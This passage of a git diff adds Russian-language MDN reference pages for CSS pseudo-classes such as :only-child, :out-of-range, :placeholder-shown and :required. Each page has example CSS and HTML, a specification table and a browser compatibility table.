+<p>{{Compat("css.selectors.nth-of-type")}}</p>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{Cssxref(":nth-child")}}, {{Cssxref(":nth-last-of-type")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_only-child/index.html b/files/ru/web/css/_colon_only-child/index.html
new file mode 100644
index 0000000000..2eb10c8a88
--- /dev/null
+++ b/files/ru/web/css/_colon_only-child/index.html
@@ -0,0 +1,107 @@
+---
+title: ':only-child'
+slug: 'Web/CSS/:only-child'
+tags:
+  - Псевдоклассы
+translation_of: 'Web/CSS/:only-child'
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p><a href="/ru/docs/CSS" title="CSS">CSS</a> <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:only-child</code> находит любой элемент, являющийся единственным потомком родителя. Это тоже, что и <code>:first-child:last-child</code> или <code>:nth-child(1):nth-last-child(1)</code>, но с меньшей специфичностью.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">parent child:only-child {
+  property: value;
+}
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_пример">Простой пример</h3>
+
+<pre class="brush: css">span:only-child {
+  color: red;
+}
+</pre>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;Этот span единственный ребёнок своего папы:(&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+  &lt;span&gt;Этот span один из потомков родителя&lt;/span&gt;
+  &lt;span&gt;Этот span один из детей отца&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Простой_пример', '100%', 60)}}</p>
+
+<h3 id="Пример_со_списком">Пример со списком</h3>
+
+<pre class="brush: css">li li {
+  list-style-type: disc;
+}
+li:only-child {
+  color: #6699ff;
+  font-style: italic;
+  list-style-type: square;
+}</pre>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;Первый
+    &lt;ul&gt;
+      &lt;li&gt;Это единственный ребёнок
+    &lt;/ul&gt;
+  &lt;/li&gt;
+  &lt;li&gt;Второй
+    &lt;ul&gt;
+      &lt;li&gt;Этот список с двумя элементами
+      &lt;li&gt;Этот список с двумя элементами
+    &lt;/ul&gt;
+  &lt;/li&gt;
+  &lt;li&gt;Третий
+    &lt;ul&gt;
+      &lt;li&gt;Этот список с тремя элементами
+      &lt;li&gt;Этот список с тремя элементами
+      &lt;li&gt;Этот список с тремя элементами
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;ol&gt;
+</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{EmbedLiveSample('Пример_со_списком', '100%', 220)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#only-child-pseudo', ':only-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#only-child-pseudo', ':only-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{Compat("css.selectors.only-child")}}</div>
diff --git a/files/ru/web/css/_colon_only-of-type/index.html b/files/ru/web/css/_colon_only-of-type/index.html
new file mode 100644
index 0000000000..d971fd9eaa
--- /dev/null
+++ b/files/ru/web/css/_colon_only-of-type/index.html
@@ -0,0 +1,85 @@
+---
+title: ':only-of-type'
+slug: 'Web/CSS/:only-of-type'
+tags:
+  - CSS
+  - Псевдоклассы
+translation_of: 'Web/CSS/:only-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p><a href="/ru/docs/CSS" title="CSS">CSS</a> <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:only-of-type</code>  выбирает такой элемент, который является единственным потомком такого типа.</p>
+
+<pre class="brush: css">/* Выбирает все &lt;p&gt;, которые являются */
+/* единственным потомками типа &lt;p&gt; */
+p:only-of-type {
+  background-color: lime;
+}
+</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;main&gt;
+  &lt;div&gt;Я `div` №1.&lt;/div&gt;
+  &lt;p&gt;Я тут единственный `p` елемент.&lt;/p&gt;
+  &lt;div&gt;Я `div` №2.&lt;/div&gt;
+  &lt;div&gt;Я `div` №3.
+    &lt;i&gt;Я единственный потомок типа `i`.&lt;/i&gt;
+    &lt;em&gt;Я `em` №1.&lt;/em&gt;
+    &lt;em&gt;Я `em` №2.&lt;/em&gt;
+  &lt;/div&gt;
+&lt;/main&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">main :only-of-type {
+  color: red;
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Example', '', '', '', 'Web/CSS/:only-of-type')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#only-of-type-pseudo', ':only-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#only-of-type-pseudo', ':only-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("css.selectors.only-of-type")}}</p>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Cssxref(":nth-of-type")}}, {{Cssxref(":first-of-type")}}, {{Cssxref(":last-of-type")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_optional/index.html b/files/ru/web/css/_colon_optional/index.html
new file mode 100644
index 0000000000..2b7b8f9c9d
--- /dev/null
+++ b/files/ru/web/css/_colon_optional/index.html
@@ -0,0 +1,110 @@
+---
+title: ':optional'
+slug: 'Web/CSS/:optional'
+tags:
+  - Псевдо-классы
+translation_of: 'Web/CSS/:optional'
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдо-класс</a> <code>:optional</code> находит любые {{ HTMLElement("input") }} элементы, у которых не установлен атрибут {{ htmlattrxref("required","input") }}. Он позволяет формам легко отмечать необязательные поля, и давать им соответствующие стили.</p>
+
+<p>Чтобы задать особый внешний вид обязательным полям формы можно использовать псевдо-класс {{ cssxref(":required") }}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Смотрите {{ cssxref(":invalid") }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#selector-optional', ':optional') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', '#selector-optional', ':optional') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Определяет семантику в HTML и ограничения проверки.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#opt-pseudos', ':optional') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Basic UI', '#pseudo-required-value', ':optional') }}</td>
+   <td>{{ Spec2('CSS3 Basic UI') }}</td>
+   <td>Определяет псевдо-класс, но не семантику.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>10.0</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>10</td>
+   <td>10.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ cssxref(":required") }}</li>
+ <li>{{ cssxref(":invalid") }}</li>
+ <li>{{ cssxref(":valid") }}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_out-of-range/index.html b/files/ru/web/css/_colon_out-of-range/index.html
new file mode 100644
index 0000000000..2d84e58b58
--- /dev/null
+++ b/files/ru/web/css/_colon_out-of-range/index.html
@@ -0,0 +1,140 @@
+---
+title: ':out-of-range'
+slug: 'Web/CSS/:out-of-range'
+tags:
+  - CSS
+  - Псевдоклассы
+  - Руководство
+translation_of: 'Web/CSS/:out-of-range'
+---
+<div>{{CSSRef}}</div>
+
+<div></div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:out-of-range</code> находит элементы, значение которых находится вне диапазона их ограничений. Он позволяет странице показывать, когда значение элемента находится вне допустимого диапазона. Значение будет вне диапазона, если оно меньше или больше, чем минимальное и максимальное значения.</p>
+
+<div class="note"><strong>Замечание:</strong> этот псевдокласс применяется только к элементам с заданным диапазоном ограничений. При отсутствии такого ограничения, элемент не может быть ни "в зоне допустимых значений", ни "вне диапазона".</div>
+
+<h2 id="Пример" name="Пример">Пример</h2>
+
+<div id="example">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html; highlight:[3]">&lt;form action="" id="form1"&gt;
+    &lt;ul&gt;Приминаются значения между 1 и 10.
+        &lt;li&gt;
+            &lt;input id="value1" name="value1" type="number" placeholder="1 to 10" min="1" max="10" value="12"&gt;
+            &lt;label for="value1"&gt;Your value is &lt;/label&gt;
+        &lt;/li&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[5]">li {
+    list-style: none;
+    margin-bottom: 1em;
+}
+input {
+    border: 1px solid black;
+}
+input:in-range {
+    background-color: rgba(0, 255, 0, 0.25);
+}
+input:out-of-range {
+    background-color: rgba(255, 0, 0, 0.25);
+    border: 2px solid red;
+}
+input:in-range + label::after {
+    content:' НОРМАЛЬНОЕ';
+}
+input:out-of-range + label::after {
+    content:'вне диапазона!';
+}</pre>
+</div>
+
+<div>{{EmbedLiveSample('Пример',600,140)}}</div>
+
+<div></div>
+
+<h2 id="Спецификации"><span>Спецификации</span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-out-of-range', ':out-of-range')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Определяет, когда <code>:out-of-range</code> находит элементы в HTML.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#out-of-range-pseudo', ':out-of-range')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Поддержка &lt;input&gt;</td>
+   <td>10.0</td>
+   <td>{{CompatGeckoDesktop("29.0")}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>11.0</td>
+   <td>5.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Поддержка &lt;input&gt;</td>
+   <td>2.3</td>
+   <td>{{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref(":in-range")}}</li>
+ <li><a href="/ru/docs/Web/Guide/HTML/Forms/Data_form_validation">Руководство валидации данных в формах</a></li>
+</ul>
diff --git a/files/ru/web/css/_colon_placeholder-shown/index.html b/files/ru/web/css/_colon_placeholder-shown/index.html
new file mode 100644
index 0000000000..81ab4ab3fc
--- /dev/null
+++ b/files/ru/web/css/_colon_placeholder-shown/index.html
@@ -0,0 +1,194 @@
+---
+title: ':placeholder-shown'
+slug: 'Web/CSS/:placeholder-shown'
+translation_of: 'Web/CSS/:placeholder-shown'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<div><a href="/ru/docs/Web/CSS">CSS псевдо-класс</a> <strong><code>:placeholder-shown</code></strong> представляет любой {{htmlElement("input")}} или {{htmlElement("textarea")}} элемент, который отображает в данный момент<a href="/en-US/docs/Web/HTML/Element/input#attr-placeholder"> текст заполнитель (плейсхолдер)</a>.</div>
+
+<pre class="brush: css no-line-numbers">/* Выбирает любой элемент с активным плейсхолдером */
+:placeholder-shown {
+  border: 2px solid silver;
+}</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_пример">Простой пример</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;input placeholder="Type something here!"&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">input:-ms-input-placeholder {
+  border-color: silver;
+}
+
+input:-moz-placeholder {
+  border-color: silver;
+}</pre>
+</div>
+
+<pre class="brush: css; highlight[6]">input {
+  border: 2px solid black;
+  padding: 3px;
+}
+
+input:placeholder-shown {
+  border-color: silver;
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample("Простой_пример", 200, 60)}}</p>
+
+<h3 id="Переполнение_текстом">Переполнение текстом</h3>
+
+<p>На узких экранах, таких как смартфоны, ширина полей поиска и других полей формы может быть значительно сокращена. Это может привести к нежелательному обрезанию текста плейсхолдера. Часто бывает полезно изменить это поведение с помощью свойства {{cssxref("text-overflow")}}.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;input placeholder="Enter something into this field, if you please!"&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">input:-ms-input-placeholder {
+  text-overflow: ellipsis;
+}
+
+input:-moz-placeholder {
+  text-overflow: ellipsis;
+}</pre>
+</div>
+
+<pre class="brush: css">input:placeholder-shown {
+  text-overflow: ellipsis;
+}</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{EmbedLiveSample("Переполнение_текстом", 200, 60)}}</p>
+
+<h3 id="Цветной_текст">Цветной текст</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;input placeholder="Type something here!"&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">input:-ms-input-placeholder {
+  color: red;
+  font-style: italic;
+}
+
+input:-moz-placeholder {
+  color: red;
+  font-style: italic;
+}</pre>
+</div>
+
+<pre class="brush: css">input:placeholder-shown {
+  color: red;
+  font-style: italic;
+}</pre>
+
+<h4 id="Результат_3">Результат</h4>
+
+<p>{{EmbedLiveSample("Цветной_текст", 200, 60)}}</p>
+
+<h3 id="Кастомизированное_поле_ввода">Кастомизированное поле ввода</h3>
+
+<p>В следующем примере выделены поля Branch и ID с пользовательским стилем.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;form id="test"&gt;
+  &lt;p&gt;
+    &lt;label for="name"&gt;Enter Student Name:&lt;/label&gt;
+    &lt;input id="name" placeholder="Student Name"/&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="branch"&gt;Enter Student Branch:&lt;/label&gt;
+    &lt;input id="branch" placeholder="Student Branch"/&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="sid"&gt;Enter Student ID:&lt;/label&gt;
+    &lt;input type="number" pattern="[0-9]{8}" title="8 digit ID" id="sid" class="studentid" placeholder="8 digit id"/&gt;
+  &lt;/p&gt;
+  &lt;input type="submit"/&gt;
+&lt;/form&gt;</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">input.studentid:-ms-input-placeholder {
+  background-color: yellow;
+  color: red;
+  font-style: italic;
+}
+
+input.studentid:-moz-placeholder {
+  background-color: yellow;
+  color: red;
+  font-style: italic;
+}</pre>
+</div>
+
+<pre class="brush: css; highlight[6]">input {
+  background-color: #E8E8E8;
+  color: black;
+}
+
+input.studentid:placeholder-shown {
+  background-color: yellow;
+  color: red;
+  font-style: italic;
+}</pre>
+
+<h4 id="Результат_4">Результат</h4>
+
+<p>{{EmbedLiveSample("Кастомизированное_поле_ввода", 200, 180)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#placeholder", ":placeholder-shown")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("css.selectors.placeholder-shown")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Псевдоэлемент {{cssxref("::placeholder")}}, применяющий стили к <em>самому себе</em>.</li>
+ <li>Связянные HTML элементы: {{HTMLElement("input")}}, {{HTMLElement("textarea")}}</li>
+ <li><a href="/ru/docs/Learn/HTML/Forms">HTML формы</a></li>
+</ul>
diff --git a/files/ru/web/css/_colon_read-only/index.html b/files/ru/web/css/_colon_read-only/index.html
new file mode 100644
index 0000000000..30fa0382ad
--- /dev/null
+++ b/files/ru/web/css/_colon_read-only/index.html
@@ -0,0 +1,67 @@
+---
+title: ':read-only'
+slug: 'Web/CSS/:read-only'
+tags:
+  - Псевдо-элементы
+translation_of: 'Web/CSS/:read-only'
+---
+<div>{{ CSSRef() }}</div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдо-класс</a> <code>:read-only</code> находит элементы, недоступные для редактирования пользователем.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<div style="overflow: hidden;">
+<pre class="brush:css">input:-moz-read-only { background: #eee; }
+input:read-only { background: #eee; }
+</pre>
+</div>
+
+<h2 class="editable" id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#selector-read-only', ':read-only') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', '#selector-read-only', ':read-only') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Определяет семантику в HTML и ограничения проверки.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#rw-pseudos', ':read-only') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Basic UI', '#pseudo-ro-rw', ':read-only') }}</td>
+   <td>{{ Spec2('CSS3 Basic UI') }}</td>
+   <td>Определяет псевдо-класс, но не семантику.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.selectors.read-only")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/:read-write"><code>:read-write</code></a></li>
+ <li>HTML атрибут <a href="/ru/docs/HTML/Content_Editable" title="HTML/Content Editable"><code>contenteditable</code></a></li>
+</ul>
diff --git a/files/ru/web/css/_colon_read-write/index.html b/files/ru/web/css/_colon_read-write/index.html
new file mode 100644
index 0000000000..1f92defec7
--- /dev/null
+++ b/files/ru/web/css/_colon_read-write/index.html
@@ -0,0 +1,67 @@
+---
+title: ':read-write'
+slug: 'Web/CSS/:read-write'
+tags:
+  - Псевдо-классы
+translation_of: 'Web/CSS/:read-write'
+---
+<div>{{ CSSRef() }}</div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдо-класс</a> <code>:read-write</code> находит элементы, доступные для редактирования пользователем, такие как текстовые поля.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<div style="overflow: hidden;">
+<pre class="brush:css">input:-moz-read-write { background: #eee; }
+input:read-write { background: #eee; }
+</pre>
+</div>
+
+<h2 class="editable" id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#selector-read-write', ':read-write') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', '#selector-read-write', ':read-write') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Определяет семантику в HTML и ограничения проверки.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#rw-pseudos', ':read-write') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Basic UI', '#pseudo-ro-rw', ':read-write') }}</td>
+   <td>{{ Spec2('CSS3 Basic UI') }}</td>
+   <td>Определяет псевдо-класс, но не семантику.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.selectors.read-write")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/:read-only"><code>:read-only</code></a></li>
+ <li>HTML атрибут <a href="/ru/docs/HTML/Content_Editable" title="HTML/Content Editable"><code>contenteditable</code></a></li>
+</ul>
diff --git a/files/ru/web/css/_colon_required/index.html b/files/ru/web/css/_colon_required/index.html
new file mode 100644
index 0000000000..c7d7026124
--- /dev/null
+++ b/files/ru/web/css/_colon_required/index.html
@@ -0,0 +1,108 @@
+---
+title: ':required'
+slug: 'Web/CSS/:required'
+tags:
+  - Псевдо-классы
+translation_of: 'Web/CSS/:required'
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдо-класс</a> <code>:required</code> находит любые {{ HTMLElement("input") }} элементы, имеющие атрибут {{ htmlattrxref("required", "input") }}. Он позволяет формам легко сообщать, что поля должны быть корректно заполнены перед отправкой формы.</p>
+
+<p>Псевдо-класс {{ cssxref(":optional") }} может использоваться, чтобы дать особый внешний вид полям, не обязательным для заполнения.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Смотрите {{ cssxref(":invalid") }}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#selector-required', ':required') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', '#selector-required', ':required') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Определяет семантику в HTML и ограничения проверки.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#opt-pseudos', ':required') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Basic UI', '#pseudo-required-value', ':required') }}</td>
+   <td>{{ Spec2('CSS3 Basic UI') }}</td>
+   <td>Определяет псевдо-класс, но не семантику.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>10.0</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>10</td>
+   <td>10.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ cssxref(":optional") }}, {{ cssxref(":invalid") }}, {{ cssxref(":valid") }}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_right/index.html b/files/ru/web/css/_colon_right/index.html
new file mode 100644
index 0000000000..d2f3687dd9
--- /dev/null
+++ b/files/ru/web/css/_colon_right/index.html
@@ -0,0 +1,112 @@
+---
+title: ':right'
+slug: 'Web/CSS/:right'
+translation_of: 'Web/CSS/:right'
+---
+<div>{{ CSSRef() }}</div>
+
+<p>The <strong><code>:right</code></strong> CSS <a href="/en/CSS/@page" title="@page">page</a> <a href="/en/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a> matches any right page when printing a page. It allows you to describe the styling of right-side pages.</p>
+
+<pre class="brush: css no-line-numbers">/* Selects the content on the right-hand pages while printing */
+@page :right {
+  margin: 2in 3in;
+}</pre>
+
+<p>Whether the page is left or right is decided by the major writing direction of the document. For example, if the first page has a major writing direction of left-to-right then it will be a <code>:right</code> page and if it has a major writing direction of right-to-left then it will be a <code>{{ Cssxref(":left") }}</code> page.</p>
+
